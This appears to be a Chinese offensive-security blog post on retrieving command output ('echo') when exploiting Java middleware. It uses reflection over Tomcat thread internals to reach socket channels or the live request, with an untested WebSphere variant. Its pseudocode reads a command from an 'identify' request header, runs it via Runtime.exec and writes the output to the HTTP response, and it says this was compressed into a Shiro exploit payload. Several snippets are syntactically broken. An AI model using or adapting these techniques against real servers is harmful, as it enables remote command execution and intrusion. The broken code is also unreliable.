中间件context回显方式
1 2 3 4 5 6 7 8
| 1. Thread -> getCurrentWork --> context 2. Thread --> getCurrentWork --> connectionHandler --> context
1. org.springframework.web.context.request.RequestContextHolder 2. org.springframework.webflow.context.ExternalContextHolder
1. Linux平台下,利用文件描述符回显
|
reference:00theway
回显研究
1.Get tomcat Channel
从Thread.currentThread()出发,发现当前线程有关FD描述符的路径:
1 2 3
| Thread-->target-->selector[SelectorImpl]-->fdMap-->key-value-->SocketChannel
[SelectorImpl针对不同平台有不同实现:EpollSelectorImpl(linux)、WindowsSelectorImpl(windows)、KQueueSelectorImpl(MacOSX)]
|
通过这种方式可以跨平台对SocketChannel进行写入操作,达到回显的效果。
缺点:对http的所有连接都会回写,无法筛选当前请求的唯一连接。
伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
| Thread[] threads = Thread.currentThread().getThreadGroup(); Field Ttarget = Thread.class.getDeclaredField("target"); for(Thread t:threads){ //select http NioEndpoint.Poller poller = (NioEndpoint.Poller)Ttarget.get(t); Object selector = poller.getSelector(); HashMap<Integer, Object> fdMapValue = selector.getClass().getDeclaredField("fdMap").get(selector); for(Object o :fdMapValue.values()){ SelectionKeyImpl selectionKeyImpl = (SelectionKeyImpl) = o.getClass().getDeclaredField("ski").get(o); SocketChannel selChImpl = (SocketChannel) selectionKeyImpl.channel(); selChImpl.write(ByteBuffer.wrap("hello\n".getBytes())); } }
|
效果
Tips
1 2 3 4 5 6
| 在Tomcat中,Connector作为桥梁连接Server和Engine,Connector在接受客户端的请求后,把请求委托给Engine容器去处理。 而Connector的内部使用Endpoint进行处理,根据Tomcat版本不同有不同的Endpoint实现方式,包括:JIOEndpoint、AprEndpoint、NioEndpoint 3种
如上面Thread的target对象就是NioEndpoint类型。 在tomcat8.0之后采用NioEndpoint实现,而tomcat7采用JIOEndpoint实现。因此,上面的利用方式只适用于tomcat8.0之后的版本 有兴趣的师傅可以通过这种思路尝试一下其他的版本
|
2.Get Tomcat Request
从Thread.currentThread()出发,发现线程有关RequestInfo的路径:
1 2 3
| Thread-->target-->this$0-->handler-->global-->processors-->0[RequestInfo]-->req
目前测试tomcat6.*、tomcat7.*、tomcat8.*均存在该路径,不过代码调用实现稍稍不同。
|
相比于Tomcat Channel回显,这种方式可以获取到Request信息,可以通过header中的字段进行筛选,达到一对一回写的效果
伪代码:
1 2 3 4 5 6 7 8
| for (Thread t : (Thread[])(Thread.currentThread().getThreadGroup().getFieldInvoke("threads"))){ //http select ArrayList<?> rinfs= (ArrayList<?>)t.getFieldInvoke("target").getFieldInvoke("this$0").getFieldInvoke("handler").getFieldInvoke("global").getFieldInvoke("processors"); Request req = (Request)(rinfs.get(0).getFieldInvoke("req")); String cmd = req.getHeader("identify"); ByteChunk byteChunk = new ByteChunk(Runtime.getRuntime().exec(cmd)) req.getResponse().doWrite(byteChunk); }
|
效果
孵化 Shiro回显
利用“Get Tomcat Request”思路,经过极致压缩,基本实现通版本的Shiro回显效果。
彩蛋 websphere回显
尚未实例测试
1 2 3 4 5 6
| Thread t = Thread.currentThread(); Field wsThreadLocals = t.getClass().getDeclaredField("wsThreadLocals"); wsThreadLocals.setAccessible(true); Object[] obs = (Object[])wsThreadLocals.get(t); WebContainerRequestState wr = (WebContainerRequestState)obs[36]; wr.getCurrentThreadsIExtendedRequest().getRequestURL();
|